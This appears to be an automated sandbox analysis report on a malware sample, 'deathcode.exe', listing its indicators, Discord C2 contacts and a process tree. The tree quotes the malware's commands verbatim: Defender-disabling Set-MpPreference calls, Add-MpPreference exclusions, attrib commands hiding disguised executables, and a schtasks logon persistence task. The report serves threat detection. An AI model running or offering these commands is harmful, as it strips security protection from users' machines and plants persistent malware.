0b8cdd13702dacd24d4284eda0e15044b729ec378ee943f6d28190e353f1d8ba

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	deathcode.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	deathcode.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1"	deathcode.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4504	powershell.exe
6988	powershell.exe
1052	powershell.exe
4520	powershell.exe
7092	powershell.exe
3200	powershell.exe
6148	powershell.exe
2640	powershell.exe
4240	powershell.exe
1120	powershell.exe
1904	powershell.exe
4616	powershell.exe
6596	powershell.exe
7024	powershell.exe
2664	powershell.exe
6460	powershell.exe
980	powershell.exe
6644	powershell.exe
6296	powershell.exe
6236	powershell.exe
6344	powershell.exe
6468	powershell.exe
4284	powershell.exe
4540	powershell.exe
4704	powershell.exe
6476	powershell.exe
6596	powershell.exe
6448	powershell.exe
6700	powershell.exe
4928	powershell.exe
7000	powershell.exe
4596	powershell.exe
3720	powershell.exe
2712	powershell.exe
1316	powershell.exe
6480	powershell.exe
2616	powershell.exe
6380	powershell.exe
3568	powershell.exe
4308	powershell.exe
4308	powershell.exe
6380	powershell.exe
7088	powershell.exe
6688	powershell.exe
7092	powershell.exe
3868	powershell.exe
2564	powershell.exe
2212	powershell.exe
2896	powershell.exe
5052	powershell.exe
3768	powershell.exe
200	powershell.exe
4576	powershell.exe
3728	powershell.exe
4128	powershell.exe
3728	powershell.exe
4572	powershell.exe
4924	powershell.exe
5768	powershell.exe
3920	powershell.exe
5104	powershell.exe
6216	powershell.exe
3400	powershell.exe
5704	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 45 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

Disable or Modify Tools

pid	Process
4820	powershell.exe
4372	powershell.exe
1232	powershell.exe
3728	powershell.exe
3728	powershell.exe
5208	powershell.exe
4256	powershell.exe
4924	powershell.exe
3192	powershell.exe
3768	powershell.exe
4816	powershell.exe
4576	powershell.exe
4104	powershell.exe
5428	powershell.exe
5704	powershell.exe
1232	powershell.exe
4348	powershell.exe
424	powershell.exe
6908	powershell.exe
200	powershell.exe
2808	powershell.exe
1232	powershell.exe
424	powershell.exe
6780	powershell.exe
5868	powershell.exe
2564	powershell.exe
5208	powershell.exe
4536	powershell.exe
4532	powershell.exe
3784	powershell.exe
5788	powershell.exe
2896	powershell.exe
4128	powershell.exe
1472	powershell.exe
4708	powershell.exe
5768	powershell.exe
1984	powershell.exe
4748	powershell.exe
4540	powershell.exe
3028	powershell.exe
1416	powershell.exe
3920	powershell.exe
2212	powershell.exe
2300	powershell.exe
4572	powershell.exe

Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 5 IoCs

Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.

Disable or Modify Tools

pid	Process
4564	powershell.exe
3868	powershell.exe
2896	powershell.exe
4564	powershell.exe
3200	powershell.exe

Loads dropped DLL 58 IoCs

pid	Process
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe
4872	deathcode.exe

Windows security modification 2 TTPs 1 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	deathcode.exe

Contacts third-party web service commonly abused for C2 1 TTPs 14 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
15	discord.com
20	discord.com
23	discord.com
26	discord.com
2	discord.com
6	discord.com
9	discord.com
11	discord.com
13	discord.com
21	discord.com
22	discord.com
25	discord.com
1	discord.com
7	discord.com

Hide Artifacts: Hidden Files and Directories 1 TTPs 4 IoCs

Hidden Files and Directories

T1564.001

pid	Process
5980	cmd.exe
5204	cmd.exe
5100	cmd.exe
5424	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 12 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5608	schtasks.exe
6764	schtasks.exe
4448	schtasks.exe
6500	schtasks.exe
3444	schtasks.exe
6992	schtasks.exe
5420	schtasks.exe
4136	schtasks.exe
4268	schtasks.exe
6868	schtasks.exe
5608	schtasks.exe
2532	schtasks.exe

Suspicious behavior: EnumeratesProcesses 46 IoCs

pid	Process
4708	powershell.exe
4708	powershell.exe
4924	powershell.exe
4924	powershell.exe
3028	powershell.exe
3028	powershell.exe
3192	powershell.exe
3192	powershell.exe
3768	powershell.exe
3768	powershell.exe
1416	powershell.exe
1416	powershell.exe
5704	powershell.exe
5704	powershell.exe
3868	powershell.exe
3868	powershell.exe
3036	powershell.exe
3036	powershell.exe
5868	powershell.exe
5868	powershell.exe
3236	powershell.exe
3236	powershell.exe
1556	powershell.exe
1556	powershell.exe
2420	powershell.exe
2420	powershell.exe
2564	powershell.exe
2564	powershell.exe
3720	powershell.exe
3720	powershell.exe
4504	powershell.exe
4504	powershell.exe
4240	powershell.exe
4240	powershell.exe
1120	powershell.exe
1120	powershell.exe
1052	powershell.exe
1052	powershell.exe
980	powershell.exe
980	powershell.exe
1904	powershell.exe
1904	powershell.exe
2712	powershell.exe
2712	powershell.exe
4616	powershell.exe
4616	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4708	powershell.exe
Token: SeIncreaseQuotaPrivilege	4708	powershell.exe
Token: SeSecurityPrivilege	4708	powershell.exe
Token: SeTakeOwnershipPrivilege	4708	powershell.exe
Token: SeLoadDriverPrivilege	4708	powershell.exe
Token: SeSystemProfilePrivilege	4708	powershell.exe
Token: SeSystemtimePrivilege	4708	powershell.exe
Token: SeProfSingleProcessPrivilege	4708	powershell.exe
Token: SeIncBasePriorityPrivilege	4708	powershell.exe
Token: SeCreatePagefilePrivilege	4708	powershell.exe
Token: SeBackupPrivilege	4708	powershell.exe
Token: SeRestorePrivilege	4708	powershell.exe
Token: SeShutdownPrivilege	4708	powershell.exe
Token: SeDebugPrivilege	4708	powershell.exe
Token: SeSystemEnvironmentPrivilege	4708	powershell.exe
Token: SeRemoteShutdownPrivilege	4708	powershell.exe
Token: SeUndockPrivilege	4708	powershell.exe
Token: SeManageVolumePrivilege	4708	powershell.exe
Token: 33	4708	powershell.exe
Token: 34	4708	powershell.exe
Token: 35	4708	powershell.exe
Token: 36	4708	powershell.exe
Token: SeDebugPrivilege	4924	powershell.exe
Token: SeIncreaseQuotaPrivilege	4924	powershell.exe
Token: SeSecurityPrivilege	4924	powershell.exe
Token: SeTakeOwnershipPrivilege	4924	powershell.exe
Token: SeLoadDriverPrivilege	4924	powershell.exe
Token: SeSystemProfilePrivilege	4924	powershell.exe
Token: SeSystemtimePrivilege	4924	powershell.exe
Token: SeProfSingleProcessPrivilege	4924	powershell.exe
Token: SeIncBasePriorityPrivilege	4924	powershell.exe
Token: SeCreatePagefilePrivilege	4924	powershell.exe
Token: SeBackupPrivilege	4924	powershell.exe
Token: SeRestorePrivilege	4924	powershell.exe
Token: SeShutdownPrivilege	4924	powershell.exe
Token: SeDebugPrivilege	4924	powershell.exe
Token: SeSystemEnvironmentPrivilege	4924	powershell.exe
Token: SeRemoteShutdownPrivilege	4924	powershell.exe
Token: SeUndockPrivilege	4924	powershell.exe
Token: SeManageVolumePrivilege	4924	powershell.exe
Token: 33	4924	powershell.exe
Token: 34	4924	powershell.exe
Token: 35	4924	powershell.exe
Token: 36	4924	powershell.exe
Token: SeDebugPrivilege	3028	powershell.exe
Token: SeIncreaseQuotaPrivilege	3028	powershell.exe
Token: SeSecurityPrivilege	3028	powershell.exe
Token: SeTakeOwnershipPrivilege	3028	powershell.exe
Token: SeLoadDriverPrivilege	3028	powershell.exe
Token: SeSystemProfilePrivilege	3028	powershell.exe
Token: SeSystemtimePrivilege	3028	powershell.exe
Token: SeProfSingleProcessPrivilege	3028	powershell.exe
Token: SeIncBasePriorityPrivilege	3028	powershell.exe
Token: SeCreatePagefilePrivilege	3028	powershell.exe
Token: SeBackupPrivilege	3028	powershell.exe
Token: SeRestorePrivilege	3028	powershell.exe
Token: SeShutdownPrivilege	3028	powershell.exe
Token: SeDebugPrivilege	3028	powershell.exe
Token: SeSystemEnvironmentPrivilege	3028	powershell.exe
Token: SeRemoteShutdownPrivilege	3028	powershell.exe
Token: SeUndockPrivilege	3028	powershell.exe
Token: SeManageVolumePrivilege	3028	powershell.exe
Token: 33	3028	powershell.exe
Token: 34	3028	powershell.exe

Suspicious use of WriteProcessMemory 47 IoCs

description	pid	Process	procid_target
PID 3064 wrote to memory of 4872	3064	deathcode.exe	89
PID 4872 wrote to memory of 6100	4872	deathcode.exe	91
PID 6100 wrote to memory of 4708	6100	cmd.exe	92
PID 4872 wrote to memory of 4144	4872	deathcode.exe	94
PID 4144 wrote to memory of 4924	4144	cmd.exe	95
PID 4872 wrote to memory of 3012	4872	deathcode.exe	96
PID 3012 wrote to memory of 3028	3012	cmd.exe	97
PID 4872 wrote to memory of 5948	4872	deathcode.exe	98
PID 5948 wrote to memory of 3192	5948	cmd.exe	99
PID 4872 wrote to memory of 968	4872	deathcode.exe	100
PID 968 wrote to memory of 3768	968	cmd.exe	101
PID 4872 wrote to memory of 3428	4872	deathcode.exe	102
PID 3428 wrote to memory of 1416	3428	cmd.exe	103
PID 4872 wrote to memory of 4860	4872	deathcode.exe	104
PID 4860 wrote to memory of 5704	4860	cmd.exe	105
PID 4872 wrote to memory of 5132	4872	deathcode.exe	106
PID 5132 wrote to memory of 3868	5132	cmd.exe	107
PID 4872 wrote to memory of 2868	4872	deathcode.exe	108
PID 2868 wrote to memory of 3036	2868	cmd.exe	109
PID 4872 wrote to memory of 4480	4872	deathcode.exe	110
PID 4480 wrote to memory of 5868	4480	cmd.exe	111
PID 4872 wrote to memory of 5448	4872	deathcode.exe	112
PID 5448 wrote to memory of 3236	5448	cmd.exe	113
PID 4872 wrote to memory of 896	4872	deathcode.exe	114
PID 896 wrote to memory of 1556	896	cmd.exe	115
PID 4872 wrote to memory of 4496	4872	deathcode.exe	116
PID 4496 wrote to memory of 2420	4496	cmd.exe	117
PID 4872 wrote to memory of 4720	4872	deathcode.exe	118
PID 4720 wrote to memory of 2564	4720	cmd.exe	119
PID 4872 wrote to memory of 5500	4872	deathcode.exe	120
PID 5500 wrote to memory of 3720	5500	cmd.exe	121
PID 4872 wrote to memory of 3840	4872	deathcode.exe	122
PID 3840 wrote to memory of 4504	3840	cmd.exe	123
PID 4872 wrote to memory of 6112	4872	deathcode.exe	124
PID 6112 wrote to memory of 4240	6112	cmd.exe	125
PID 4872 wrote to memory of 5832	4872	deathcode.exe	127
PID 5832 wrote to memory of 1120	5832	cmd.exe	128
PID 4872 wrote to memory of 2424	4872	deathcode.exe	129
PID 2424 wrote to memory of 1052	2424	cmd.exe	130
PID 4872 wrote to memory of 2104	4872	deathcode.exe	131
PID 2104 wrote to memory of 980	2104	cmd.exe	132
PID 4872 wrote to memory of 3556	4872	deathcode.exe	133
PID 3556 wrote to memory of 1904	3556	cmd.exe	134
PID 4872 wrote to memory of 5152	4872	deathcode.exe	135
PID 5152 wrote to memory of 2712	5152	cmd.exe	136
PID 4872 wrote to memory of 2628	4872	deathcode.exe	137
PID 2628 wrote to memory of 4616	2628	cmd.exe	138

Views/modifies file attributes 1 TTPs 4 IoCs

Hidden Files and Directories

T1564.001

pid	Process
5812	attrib.exe
1968	attrib.exe
3748	attrib.exe
1764	attrib.exe

C:\Users\Admin\AppData\Local\Temp\deathcode.exe
"C:\Users\Admin\AppData\Local\Temp\deathcode.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3064
- C:\Users\Admin\AppData\Local\Temp\deathcode.exe
  C:\Users\Admin\AppData\Local\Temp\deathcode.exe
  2⤵
  - Modifies Windows Defender notification settings
  - Loads dropped DLL
  - Windows security modification
  - Suspicious use of WriteProcessMemory
  PID:4872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6100
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4144
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableIOAVProtection $true -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3012
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableIOAVProtection $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableScriptScanning $true -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5948
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableScriptScanning $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      PID:3192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableIntrusionPreventionSystem $true -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:968
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableIntrusionPreventionSystem $true -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      PID:3768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3428
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      PID:1416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisablePrivacyMode $true -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4860
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisablePrivacyMode $true -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      PID:5704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -SubmitSamplesConsent 2 -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5132
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -SubmitSamplesConsent 2 -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables automatic submission of suspicious files to Microsoft by Windows Defender
      Suspicious behavior: EnumeratesProcesses
      PID:3868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -PUAProtection 0 -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2868
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -PUAProtection 0 -Force"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableArchiveScanning $true -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4480
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableArchiveScanning $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      PID:5868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableCatchupFullScan $true -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5448
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableCatchupFullScan $true -Force"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableCatchupQuickScan $true -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:896
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableCatchupQuickScan $true -Force"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableEmailScanning $true -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4496
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableEmailScanning $true -Force"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableScriptScanning $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4720
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableScriptScanning $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      PID:2564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming' -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5500
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local' -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3840
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6112
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows' -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5832
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Google\Update' -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2424
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Google\Update' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'ServiceHost.exe' -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2104
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'ServiceHost.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'RuntimeBroker.exe' -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3556
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'RuntimeBroker.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'WindowsUpdate.exe' -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5152
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'WindowsUpdate.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'svchost.exe' -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2628
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'svchost.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h "C:\Users\Admin\AppData\Roaming\win_def_off.inf""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:5980
  - - C:\Windows\system32\attrib.exe
      attrib +h "C:\Users\Admin\AppData\Roaming\win_def_off.inf"
      4⤵
      Views/modifies file attributes
      PID:5812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s +r "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\ServiceHost.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:5204
  - - C:\Windows\system32\attrib.exe
      attrib +h +s +r "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\ServiceHost.exe"
      4⤵
      Views/modifies file attributes
      PID:1968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s +r "C:\Users\Admin\AppData\Local\Google\Update\RuntimeBroker.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:5100
  - - C:\Windows\system32\attrib.exe
      attrib +h +s +r "C:\Users\Admin\AppData\Local\Google\Update\RuntimeBroker.exe"
      4⤵
      Views/modifies file attributes
      PID:3748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s +r "C:\Users\Admin\AppData\Local\Temp\WinSecEnv\WindowsUpdate.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:5424
  - - C:\Windows\system32\attrib.exe
      attrib +h +s +r "C:\Users\Admin\AppData\Local\Temp\WinSecEnv\WindowsUpdate.exe"
      4⤵
      Views/modifies file attributes
      PID:1764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\deathcode.exe" /sc onlogon /f /rl highest"
    3⤵
    PID:2460
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\deathcode.exe" /sc onlogon /f /rl highest
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\deathcode.exe" /sc onlogon /f /rl highest"
    3⤵
    PID:3372
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\deathcode.exe" /sc onlogon /f /rl highest
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\deathcode.exe" /sc onlogon /f /rl highest"
    3⤵
    PID:3572
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\deathcode.exe" /sc onlogon /f /rl highest
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\deathcode.exe" /sc onlogon /f /rl highest"
    3⤵
    PID:2984
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\deathcode.exe" /sc onlogon /f /rl highest
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\deathcode.exe" /sc onlogon /f /rl highest"
    3⤵
    PID:7124
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\deathcode.exe" /sc onlogon /f /rl highest
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\deathcode.exe" /sc onlogon /f /rl highest"
    3⤵
    PID:6264
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\deathcode.exe" /sc onlogon /f /rl highest
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3444

C:\Users\Admin\AppData\Local\Temp\deathcode.exe
C:\Users\Admin\AppData\Local\Temp\deathcode.exe
1⤵
PID:4384
- C:\Users\Admin\AppData\Local\Temp\deathcode.exe
  C:\Users\Admin\AppData\Local\Temp\deathcode.exe
  2⤵
  PID:1376
- - C:\Windows\system32\cmd.exe
